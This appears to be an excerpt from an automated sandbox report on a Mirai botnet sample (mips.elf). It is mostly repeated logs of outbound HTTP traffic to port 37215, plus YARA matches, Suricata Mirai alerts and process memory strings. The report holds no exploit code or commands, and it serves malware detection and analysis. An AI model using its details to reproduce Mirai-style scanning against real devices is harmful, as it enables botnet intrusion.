Source: unknown	Network traffic detected: HTTP traffic on port 43124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56108 -> 37215

Source: /tmp/mips.elf (PID: 6224)

Queries kernel information via 'uname':

Jump to behavior

Source: mips.elf, 6224.1.0000558254ca6000.0000558254d2d000.rw-.sdmp, mips.elf, 6228.1.0000558254ca6000.0000558254d2d000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: mips.elf, 6224.1.0000558254ca6000.0000558254d2d000.rw-.sdmp, mips.elf, 6228.1.0000558254ca6000.0000558254d2d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.elf, 6224.1.00007fff64cc9000.00007fff64cea000.rw-.sdmp, mips.elf, 6228.1.00007fff64cc9000.00007fff64cea000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.elf
Source: mips.elf, 6224.1.00007fff64cc9000.00007fff64cea000.rw-.sdmp, mips.elf, 6228.1.00007fff64cc9000.00007fff64cea000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: mips.elf, type: SAMPLE
Source: Yara match	File source: 6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mips.elf PID: 6224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mips.elf PID: 6228, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
